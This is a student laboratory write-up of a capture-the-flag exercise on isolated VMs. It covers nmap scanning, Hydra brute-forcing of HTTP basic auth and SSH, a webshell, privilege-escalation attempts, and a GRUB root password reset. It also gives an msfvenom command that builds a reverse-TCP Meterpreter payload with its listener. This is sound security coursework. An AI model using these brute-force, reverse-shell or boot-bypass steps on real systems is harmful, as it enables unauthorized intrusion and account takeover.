&lt;li>&lt;a href="#obtaining-the-final-flag">Obtaining the final flag&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task definition&lt;/h2>
&lt;p>This task is based on a Capture the Flag (CTF) challenge, where multiple flags are hidden across an environment and can be found either through exploits or by navigating the system. Two virtual machines are provided: an Ubuntu server, which hosts the flags, and a Kali Linux machine for offensive actions. Both machines operate in a &lt;code>Host-only network&lt;/code>, meaning they can communicate with each other but not with the external internet or other devices.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex7/UE7_CTF.pdf">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex7/quellen.bib">bibliography</a>.</p></blockquote>
<hr>
<h1 id="ethical-hacking-of-a-ctf-vm">Ethical hacking of a CTF-VM</h1>
<hr>
<p><strong>Laboratory protocol</strong><br>
Exercise 7: Ethical hacking of a CTF-VM<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/menheraMagnifier.png"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Justin Tremurici<br>
<strong>Group Name/Number:</strong> todo/12<br>
<strong>Supervisor:</strong> SPAC, ZIVK<br>
<strong>Exercise dates:</strong> 17-19.1.2025<br>
<strong>Submission date:</strong> 20.1.2025</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task definition</a></li>
<li><a href="#summary">Summary</a></li>
<li><a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#setting-up-the-virtual-machines">Setting up the virtual machines</a></li>
<li><a href="#reconnaissance-scanning-the-network">Reconnaissance: Scanning the Network</a></li>
<li><a href="#reconnaissance-exploring-the-websites">Reconnaissance: Exploring the websites</a></li>
<li><a href="#weaponization-evaluating-the-needed-tools">Weaponization: Evaluating the needed tools</a></li>
<li><a href="#exploitation-using-hydra-to-break-http-basic-authentication">Exploitation: Using Hydra to break HTTP basic authentication</a></li>
<li><a href="#exploitation-using-hydra-to-brute-force-ssh-login">Exploitation: Using Hydra to brute force SSH login</a></li>
<li><a href="#exploring-the-system">Exploring the system</a>
<ul>
<li><a href="#listing-all-the-files">Listing all the files</a></li>
<li><a href="#investigating-the-listening-service">Investigating the listening service</a></li>
<li><a href="#investigating-the-process-flag">Investigating the process flag</a></li>
<li><a href="#further-investigating-the-webserver">Further investigating the webserver</a></li>
<li><a href="#investigating-secret_flagtxt">Investigating secret_flag.txt</a></li>
<li><a href="#exploring-the-new-user">Exploring the new user</a></li>
<li><a href="#finding-the-history-flag">Finding the history flag</a></li>
</ul>
</li>
<li><a href="#it-should-be-over-now-right">It should be over now, right?</a></li>
<li><a href="#privilege-escalation-on-linux">Privilege escalation on Linux</a>
<ul>
<li><a href="#using-a-smart-enumeration-tool">Using a smart enumeration tool</a></li>
<li><a href="#trying-a-kernel-level-exploit">Trying a kernel level exploit</a></li>
<li><a href="#trying-to-get-privileges-using-metasploit-and-meterpreter">Trying to get privileges using Metasploit and Meterpreter</a></li>
</ul>
</li>
<li><a href="#getting-root-access-through-editing-the-grub-boot-options">Getting root access through editing the GRUB boot options</a></li>
<li><a href="#obtaining-the-final-flag">Obtaining the final flag</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<hr>
<h2 id="task-definition">Task definition</h2>
<p>This task is based on a Capture the Flag (CTF) challenge, where multiple flags are hidden across an environment and can be found either through exploits or by navigating the system. Two virtual machines are provided: an Ubuntu server, which hosts the flags, and a Kali Linux machine for offensive actions. Both machines operate in a <code>Host-only network</code>, meaning they can communicate with each other but not with the external internet or other devices.</p>
<p>The goal is to use the tools and techniques available in Kali Linux to explore the Ubuntu server, identify vulnerabilities, and capture the flags, all within an isolated network environment.</p>
<hr>
<h2 id="summary">Summary</h2>
<p>In this exercise, we had to break into a Linux server VM and find six hidden flags. To gain access, we first scanned the network with <code>nmap</code> and discovered four web servers. One of these required brute-forcing to retrieve the first flag, which then allowed us to gain a web shell to the system. Using the web shell, we brute-forced the password for the current user to SSH into the machine. Once logged in, we explored the system to find flags.</p>
<p>We discovered a flag in the comments of the server&rsquo;s <code>python</code> file, which we found by inspecting the running processes. The file was intended to run as a process, and this led us to locate it. Additionally, we found flags in the history of another user who had permission to view <code>secret_flag.txt</code> in the <code>/opt</code> directory, as well as one flag in the <code>/tmp</code> directory. There are actually seven flags in total, with one located in the home directory of <code>/root</code>.</p>
<p>We attempted to gain root access using the Linux Smart Enumeration tool and by analyzing the results for potential privilege escalation vectors, such as SUID binaries or binaries we could run with <code>sudo</code> to escalate to a shell. We also tried using a getshell from meterpreter to gain access, but none of these methods worked. As a result, we edited the boot configurations in the VM itself to get a shell and then changed the root password. This allowed us to execute the CTF setup script and view the final flag in the root&rsquo;s home directory.<cite>ChatGPT<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></cite></p>
<hr>
<h2 id="complete-network-topology-of-the-exercise">Complete network topology of the exercise</h2>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/topo.png"/> <figcaption>
            Figure 1: Complete network topology of the exercise
        </figcaption>
</figure>

<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="setting-up-the-virtual-machines">Setting up the virtual machines</h3>
<p>To get started with this CTF, make sure that VirtualBox version 7.1.4 is used. The VM to attack must be imported by double-clicking the provided <code>.ova</code> file. After the import is complete, the network settings must be changed to use Host-only Adapter mode. Since using the default Host-only network did not work, we had to create a new Host-only network. To do this, either press <code>&lt;C-h&gt;</code> or click on <code>File &gt; Tools &gt; Network Manager</code>, as shown in Figure 2.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/openingNetworkManager.png"/> <figcaption>
            Figure 2: Opening VirtualBox Network Manager settings
        </figcaption>
</figure>

<p>In this menu, click on <code>Create</code>, then check the <code>Enable Server</code> box to enable the DHCP server so the target VM will receive an IP address. Then, click on <code>Adapter</code> to view the IP range of the network, which in our case is <code>192.168.15.0/24</code>, which can be seen in Figure 3.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/nwipsfr.png"/> <figcaption>
            Figure 3: Showing the IP settings for the new Host-only network
        </figcaption>
</figure>

<p>Next, open the virtual machine settings by selecting the VM in the list and pressing <code>&lt;C-s&gt;</code>. Under the <code>Network</code> section, change the network adapter to use the Host-only Adapter and select the VirtualBox Host-only Ethernet Adapter #2, which was just created. Perform this step for both the target VM and the Kali VM, as detailed in Figure 4.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/vmnwconf.png"/> <figcaption>
            Figure 4: Showing the network configuration of the virtual machines
        </figcaption>
</figure>

<hr>
<h3 id="reconnaissance-scanning-the-network">Reconnaissance: Scanning the Network</h3>
<p>We use the Cyber Kill Chain to structure our steps for completing the CTF, with any attack beginning with reconnaissance, which in this case means scanning the network with <code>nmap</code>.<cite>Lockheed Martin<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></cite> Since we don&rsquo;t know the IP address of the target server yet, we need to scan the network to find it. For this, the command <code>nmap 192.168.15.0/24</code> is used to scan the entire network for open ports, as illustrated in Figure 5.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/firstnmapscan.png"/> <figcaption>
            Figure 5: Results of the nmap scan
        </figcaption>
</figure>

<p>We can determine that the target has the IP address <code>192.168.15.3</code>, since <code>.1</code> is the network address, <code>.2</code> is the DHCP server, and <code>.4</code> is the IP address of the Kali VM. This can be verified by running <code>ip a</code> or by scanning the open ports, since <code>ssh</code> is not exposed.</p>
<p>Now we can run another <code>nmap</code> scan to get further information about the running services and their version by using the <code>-sV</code> flag and the <code>-T4</code> flag for aggressive timing, and the <code>-p-</code> value to scan all ports.<cite>Nmap Version Detection<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></cite><cite>Nmap Timing<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></cite> The results of the scan can be seen in Figure 6.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/nmapfr.png"/> <figcaption>
            Figure 6: Results of the detailed nmap scan
        </figcaption>
</figure>

<p>From this scan, we can see that <code>ssh</code> and four <code>http</code> servers running Python 3.12.3 are active on the system.</p>
<hr>
<h3 id="reconnaissance-exploring-the-websites">Reconnaissance: Exploring the websites</h3>
<p>If we open the websites in our web browser of choice, we can see that the one on port <code>1080</code> says that to get further, we need to scan deeper, which we already did. The website on port <code>5155</code> shows text from foreign languages, which is randomized and always prints out different text on refresh. The site on port <code>10458</code> prints out a message in <code>base64</code>, and lastly, the one on port <code>10448</code> has a basic authentication login prompt for a mini web shell. Figure 7 shows the content of each webpage.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/allesiten.png"/> <figcaption>
            Figure 7: Showing the contents of each page using curl
        </figcaption>
</figure>

<p>The <code>base64</code> message can be decoded by piping the string, using <code>echo</code>, into the <code>base64</code> command, which gives us the hint to use port <code>55487</code>, the site with authentication. This is shown in Figure 8.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/base64.png"/> <figcaption>
            Figure 8: Decoding the base64 message
        </figcaption>
</figure>

<p>To get all the random variants from the site with the foreign languages, I wrote a quick batch script to recursively relay the website and save the output in a file called <code>output</code>, as shown in Figure 9.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">while</span> true;<span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>    body<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>curl -s 192.168.15:5155<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>    echo <span style="color:#e6db74">&#34;</span>$body<span style="color:#e6db74">&#34;</span> &gt;&gt; output
</span></span><span style="display:flex;"><span>    echo <span style="color:#e6db74">&#34;</span>$body<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/gettextsh.png"/> <figcaption>
            Figure 9: Running the script
        </figcaption>
</figure>

<p>After running it for a while, we prompted ChatGPT with the list of outputs to translate, which revealed the following hint, as shown in Figure 10.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/labngs.png"/> <figcaption>
            Figure 10: ChatGPT translating the hint
        </figcaption>
</figure>

<hr>
<h3 id="weaponization-evaluating-the-needed-tools">Weaponization: Evaluating the needed tools</h3>
<p>Now that we know the username and that it uses HTTP Basic Authentication, we can use Hydra to brute-force the password. For this, I have chosen the 10-million-password list as our wordlist.<cite>pw-list<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></cite></p>
<hr>
<h3 id="exploitation-using-hydra-to-break-http-basic-authentication">Exploitation: Using Hydra to break HTTP basic authentication</h3>
<p>To brute force the password, the following <code>hydra</code> command will be used: <code>hydra -l user -P pw.txt -s 55487 -f 192.168.15.3 http-get /</code><cite>hydra-http-basic-auth<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>-l user <span style="color:#75715e">#specifying the username to attempt logging in with</span>
</span></span><span style="display:flex;"><span>-P pw.txt <span style="color:#75715e">#tells Hydra to use the contents of pw.txt as passwords to try</span>
</span></span><span style="display:flex;"><span>-s <span style="color:#ae81ff">55487</span> <span style="color:#75715e">#specifying the port to connect to</span>
</span></span><span style="display:flex;"><span>-f <span style="color:#75715e">#telling Hydra to stop after a valid login</span>
</span></span><span style="display:flex;"><span>192.168.15.3 <span style="color:#75715e">#setting the target IP address</span>
</span></span><span style="display:flex;"><span>http-get / <span style="color:#75715e">#specifying the service and method to use</span>
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/hydra.png"/> <figcaption>
            Figure 11: Running the Hydra command to get the credentials
        </figcaption>
</figure>

<p>After entering the found credentials on the webpage, we get the first flag.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/flag1.png"/> <figcaption>
            Figure 12: First flag found
        </figcaption>
</figure>

<hr>
<p>Besides the flag, there is a webshell on the site, so we can run commands on the server. However, interacting through the website is a horrible experience, and that&rsquo;s why we used the command <code>whoami</code> to find out which user we are logged in as so we can SSH into the server instead.</p>
<hr>
<h3 id="exploitation-using-hydra-to-brute-force-ssh-login">Exploitation: Using Hydra to brute force SSH login</h3>
<p>To brute force the SSH login, this Hydra command is used: <code>hydra -l GrumpyCat -P pw.txt 192.168.15.3 ssh -t 4</code>.<cite>hydra-ssh<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></cite> The only changes made to the command are the username we got through the webshell, replacing the method with SSH, and using the <code>-t</code> flag with a value of 4 to set the max tasks to 4, since some SSH configurations tend to block higher counts. Figure 13 shows the command output.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/hydrassh.png"/> <figcaption>
            Figure 13: Getting the credentials for the user GrumpyCat
        </figcaption>
</figure>

<hr>
<h3 id="exploring-the-system">Exploring the system</h3>
<h4 id="listing-all-the-files">Listing all the files</h4>
<p>Now that we have a shell in the server, it&rsquo;s time to dig around and explore. We started by running <code>ls -R / * 2&gt;/dev/null | grep flag</code>, in which the <code>-R</code> flag is used to recursively list all the files in the root of the file system and the <code>*</code> is used to list everything inside that as well. Lastly, the <code>2&gt;/dev/null</code> redirects <code>stderr</code> to the file <code>/dev/null</code> to effectively delete them from the output, which is piped into <code>grep</code> to filter it to search for files that have <code>flag</code> in their name.<cite>stderr<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></cite> To tidy up the output, it can be piped into <code>grep</code> again with the <code>-v</code> flag to exclude results that contain <code>flags</code>. Figure 14 shows the results.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/searchingfor%20falgfiles.png"/> <figcaption>
            Figure 14: Output of the search command
        </figcaption>
</figure>

<p>As we can see, we found a file called <code>secret_flag.txt</code> and <code>flag_process.sh</code>, for which we can search with the following command: <code>find -name &quot;filename&quot; / 2&gt;/dev/null</code>. Figure 15 displays the found file locations.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/findfiles.png"/> <figcaption>
            Figure 15: File locations of the 2 found files
        </figcaption>
</figure>

<hr>
<h4 id="investigating-the-listening-service">Investigating the listening service</h4>
<p>With <code>ss -tulnp</code>, we can examine all listening process services on the system for TCP and UDP, along with the processes they use, if we have permission to see that.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/sstunlp.png"/> <figcaption>
            Figure 16: Viewing the listening services
        </figcaption>
</figure>

<hr>
<h4 id="investigating-the-process-flag">Investigating the process flag</h4>
<p>Let&rsquo;s return to the file <code>flag_process.sh</code> to get this flag. Simply cat the file as shown in Figure 17.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/processflag.png"/> <figcaption>
            Figure 17: Viewing the check_running_processes flag
        </figcaption>
</figure>

<hr>
<h4 id="further-investigating-the-webserver">Further investigating the webserver</h4>
<p>Luckily, as seen in Figure 16, it appears that the webserver has been started as the current user, which we can further inspect with <code>ps aux | grep python</code>. As shown in Figure 18, the process has been started by the root user as GrumpyCat.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/psauxpy.png"/> <figcaption>
            Figure 18: Inspecting the running Python processes
        </figcaption>
</figure>

<p>If we read the file <code>/bin/ctf_server.py</code>, we first see that the ranges of the randomized port ranges are <code>4000-5600</code>, <code>10000-12000</code>, and <code>50000-60000</code>. The intended translation is &ldquo;Hinweis1: Der Nutzername lautet user&rdquo;, and lastly, a flag hides itself at the bottom of the file, which is shown in Figure 19.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/commentflag.png"/> <figcaption>
            Figure 19: Viewing the flag in the server Python file
        </figcaption>
</figure>

<hr>
<h4 id="investigating-secret_flagtxt">Investigating secret_flag.txt</h4>
<p>If we simply cat this file as the current user, we can&rsquo;t do that since we lack permission and are not in the sudoers group or file. Therefore, we have two options: either find a different user who has the privileges to read the file or escalate our current privileges to become root. The first option is the more reasonable one, which we will use.</p>
<p>To see all the users we can log into, we can search through the file using the following grep command: <code>grep -v &quot;nologin&quot; /etc/passwd</code>. With this command, we display all the lines of the <code>/etc/passwd</code> file that don&rsquo;t contain <code>nologin</code> to only display the users we can log in as.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/usr.png"/> <figcaption>
            Figure 20: Listing the users we can log in as
        </figcaption>
</figure>

<p>As seen in Figure 20, we got two new options as users to log in: <code>ubuntu</code> and <code>CheerfulOtter</code>. Since we had already tried brute-forcing the root password from the very start, just in case, and the user users have not set an interactive login shell, we chose <code>CheerfulOtter</code> because the name sounds more similar to <code>GrumpyCat</code>. We also brute-forced the <code>ubuntu</code> user in the background. This was a correct assumption, as the password for the <code>CheerfulOtter</code> user was also &ldquo;password&rdquo;, and we didn&rsquo;t find the password for the <code>ubuntu</code> user, which also had its sudo permissions removed in the <code>remove_ubuntu_from_sudo()</code> function in the setup script.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/cheerfulotpw.png"/> <figcaption>
            Figure 21: Getting the credentials for CheerfulOtter
        </figcaption>
</figure>

<p>As seen in Figure 21, we got the credentials for the CheerfulOtter user. If we log in as that user and run <code>sudo -l</code> to see what permissions we have with sudo, we can see that the only command we can run elevated is <code>/bin/cat /opt/secret_flag.txt</code>, which we need in order to find the flag, as shown in Figure 22.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/sh.png"/> <figcaption>
            Figure 22: Viewing secret_flag.txt
        </figcaption>
</figure>

<hr>
<h4 id="exploring-the-new-user">Exploring the new user</h4>
<p>Since we are in a new user, it&rsquo;s time to rerun old commands and see if any new files can be found. Instead of using <code>ls</code> and <code>grep</code> to search, we will use the following <code>find</code> command: <code>find / -type f -name '*flag*' 2&gt;/dev/null</code>.<cite>find<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup></cite> Here is a breakdown of the command used in Figure 23:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / <span style="color:#75715e">#Selecting the / directory to search in</span>
</span></span><span style="display:flex;"><span>-type f <span style="color:#75715e">#Restricts the command to only search files</span>
</span></span><span style="display:flex;"><span>-name <span style="color:#e6db74">&#39;*flag*&#39;</span> <span style="color:#75715e">#Specifies that the command should only search files that contain &#34;flag&#34;</span>
</span></span><span style="display:flex;"><span>2&gt;/dev/null <span style="color:#75715e">#Hiding errors</span>
</span></span></code></pre></div><p><figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/fdtmp.png"/> <figcaption>
            Figure 23: Output of the find command
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/tmpfl.png"/> <figcaption>
            Figure 24: Viewing the flag in the /tmp directory
        </figcaption>
</figure>
</p>
<hr>
<h4 id="finding-the-history-flag">Finding the history flag</h4>
<p>Additionally to the find command, I remembered reading in a CTF cheat sheet a while ago to check the command history of the user. However, I initially only checked <code>.bash_history</code> instead of the <code>.history</code> file, which contains a flag in this CTF.<cite>enumeration-walkthough<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></cite> I always missed it until I ran <code>ls -l</code> as a sanity check in the home directory of CheerfulOtter and found the flag, as shown in Figures 25 and 26.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/colsal.png"/> <figcaption>
            Figure 25: Viewing the home directories of CheerfulOtter
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/cofl.png"/> <figcaption>
            Figure 26: Viewing the flag in the .history file
        </figcaption>
</figure>
</p>
<hr>
<h3 id="it-should-be-over-now-right">It should be over now, right?</h3>
<p>Now that we found the following six flags:</p>
<ol>
<li><code>FLAG{use_secure_credentials}</code></li>
<li><code>FLAG{always_check_comments_in_scripts}</code></li>
<li><code>FLAG{sudo_privileges_are_key}</code></li>
<li><code>FLAG{inspect_running_processes}</code></li>
<li><code>FLAG{tmp_directory_is_not_safe}</code></li>
<li><code>FLAG{always_check_history}</code></li>
</ol>
<p>This means that the exercise is over, right?</p>
<p>No, it&rsquo;s not over yet. In an email, Professor Zivkovic stated that for flag 6, root access is needed. This means that either he made a mistake in counting, forgot about one, or there is a 7th flag that requires root privileges. Spoiler alert: it was the latter. So, the next section will be about escalating the privileges to get to that point.</p>
<hr>
<h3 id="privilege-escalation-on-linux">Privilege escalation on Linux</h3>
<p>If you want to escalate your privileges on Linux, you have five options, which are the following:<cite>priv-esc-overview<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></cite></p>
<ol>
<li>Find an exploit for the version of the kernel that is running.<cite>kernel-exploit<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></cite></li>
<li>Find a SUID binary that runs with the owner&rsquo;s permissions.<cite>suid<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></cite></li>
<li>Escalate to a shell in a usable command with <code>sudo</code>.<cite>sudo-exploit<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></cite></li>
<li>Find writable files that run at startup, like <code>crontab</code>, or other misconfigurations in the system.<cite>enumeration-walkthough<sup id="fnref1:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></cite></li>
<li>Find an attachable process that is running as root.</li>
</ol>
<h4 id="using-a-smart-enumeration-tool">Using a smart enumeration tool</h4>
<p>To quickly and effortlessly gather information about possible attack vectors for privilege escalation, there are tools such as <code>linux-smart-enumeration</code> to do the job for you.<cite>lse<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></cite> After running the script on both users, we found that there were no attack vectors we could exploit. We discovered an empty backup file in the following location: <code>/snap/docker/2963/usr/share/man/man8/zstreamdump.8.gz</code>, and a <code>screen</code> session by the root user which we could not attach to. Additionally, the binaries <code>/snap/snapd/23545/usr/lib/snapd/snap-confine</code> and <code>/snap/snapd/23258/usr/lib/snapd/snap-confine</code> run as root, but the only available exploit for them has been patched for years. Furthermore, the only command we could run with elevated privileges is <code>cat /opt/secret_flag.txt</code>, which does not allow us to escalate to the command line interface (CLI). Lastly, not a single cron file was writable, nor were we able to view configuration files such as <code>/etc/sudoers</code>, which means there is no way to get root privileges on the system.</p>
<h4 id="trying-a-kernel-level-exploit">Trying a kernel level exploit</h4>
<p>We also tried a kernel exploit from exploit-db out of desperation, which failed at compiling.<cite>exploitdb<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></cite></p>
<h4 id="trying-to-get-privileges-using-metasploit-and-meterpreter">Trying to get privileges using Metasploit and Meterpreter</h4>
<p>Lastly, we tried to use Meterpreter and its prebuilt privilege escalation modules.<cite>linux-reverse-tcp<sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></cite><cite>metasploit-local-exploiter-suggestor<sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup></cite></p>
<p>To do this, we had to generate a payload first. The payload was generated with the following command:<br>
<code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o payload.bin</code><cite>msfvenomdocs<sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>-p linux/x86/meterpreter/reverse_tcp <span style="color:#75715e">#setting the payload to be reverse TCP for Linux x86</span>
</span></span><span style="display:flex;"><span>LHOST<span style="color:#f92672">=[</span>IP<span style="color:#f92672">]</span> <span style="color:#75715e"># sets IP address of the attacking machine</span>
</span></span><span style="display:flex;"><span>LPORT<span style="color:#f92672">=</span><span style="color:#ae81ff">4444</span> <span style="color:#75715e">#sets the local port to listen for a connection</span>
</span></span><span style="display:flex;"><span>-f elf <span style="color:#75715e">#specifies the output format</span>
</span></span><span style="display:flex;"><span>-o payload.bin <span style="color:#75715e">#specifies the output filename</span>
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/msfgenpayload.png"/> <figcaption>
            Figure 27: Generating the payload using msfvenom
        </figcaption>
</figure>

<p>After this, the payload is uploaded to the target using scp, as demonstrated in Figure 28.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/scp.png"/> <figcaption>
            Figure 28: Uploading the payload to the target
        </figcaption>
</figure>

<p>The next step is to open the Metasploit console by running <code>msfconsole</code>. Set the exploit to <code>exploit/multi/handler</code>, the payload to <code>linux/x86/meterpreter/reverse_tcp</code>, the LHOST to <code>192.168.15.4</code>, and finally, run the command <code>run</code> to start the reverse TCP handler. After that, we execute the binary on the target, and we have a Meterpreter shell, as shown in Figures 29 and 30.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/msfc.png"/> <figcaption>
            Figure 29: Running the necessary commands in the msfconsole
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/ep.png"/> <figcaption>
            Figure 30: Executing the payload on the target
        </figcaption>
</figure>
</p>
<p>Now that we have access to Meterpreter, we can use commands such as <code>getuid</code> to get the ID of the user and many other useful commands such as <code>upload</code> and <code>download</code>. However, as demonstrated in Figure 31, loading the priv module didn&rsquo;t work, so we were not able to test if <code>getsystem</code> would work to escalate the privileges.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/RadagJuice.png"/> <figcaption>
            Figure 31: The required modules not being loaded
        </figcaption>
</figure>

<hr>
<h3 id="getting-root-access-through-editing-the-grub-boot-options">Getting root access through editing the GRUB boot options</h3>
<p>Since we weren&rsquo;t able to gain access, we resorted to the good old and reliable GRUB root password reset.<cite>root-grub<sup id="fnref:20"><a href="#fn:20" class="footnote-ref" role="doc-noteref">20</a></sup></cite></p>
<p>To use this method, the system needs to be running the GRUB boot loader, which is the default for Ubuntu.</p>
<p>It is performed by pressing <code>e</code> when seeing the screen shown in Figure 32, which brings up the menu to edit the boot commands.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/pe.png"/> <figcaption>
            Figure 32: Showing the GRUB screen to press e on
        </figcaption>
</figure>

<p>Then navigate to the line starting with <code>linux</code> and append <code>rw init=/bin/bash</code>, as shown in Figure 33, to change a kernel parameter. After pressing F10, you will immediately boot into the system with a root shell, as shown in Figure 34.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/rw&#43;.png"/> <figcaption>
            Figure 33: Editing a kernel parameter
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/pwc.png"/> <figcaption>
            Figure 34: Changing the root password
        </figcaption>
</figure>
</p>
<p>Lastly, as displayed in Figure 34, we run the command <code>exec /sbin/init</code> to reboot the system and load into the operating system as usual. Figure 35 verifies this by showing the root login after rebooting.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/ve.png"/> <figcaption>
            Figure 35: Logging in as the root user
        </figcaption>
</figure>

<hr>
<h3 id="obtaining-the-final-flag">Obtaining the final flag</h3>
<p>Now that we are the root user, we can see a file called <code>root_flag.txt</code>, which contains the final flag. Additionally, we can view the file <code>ctf_setup.sh</code> to see how the CTF is made and verify that we actually got all of the flags this time. These files are also available in the ZIP file beside this document. Figure 36 shows the files in <code>/root</code> and the final flag.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex7/images/ogm.png"/> <figcaption>
            Figure 36: Viewing the final flag in the /root directory
        </figcaption>
</figure>

<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex7/quellen.bib">original BibTeX file</a>.</em></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>This task definition and summary were generated using ChatGPT from the original bullet points.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Lockheed Martin. Cyber Kill Chain®. <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">source</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Nmap. Service and Version Detection. <a href="https://nmap.org/book/man-version-detection.html">source</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
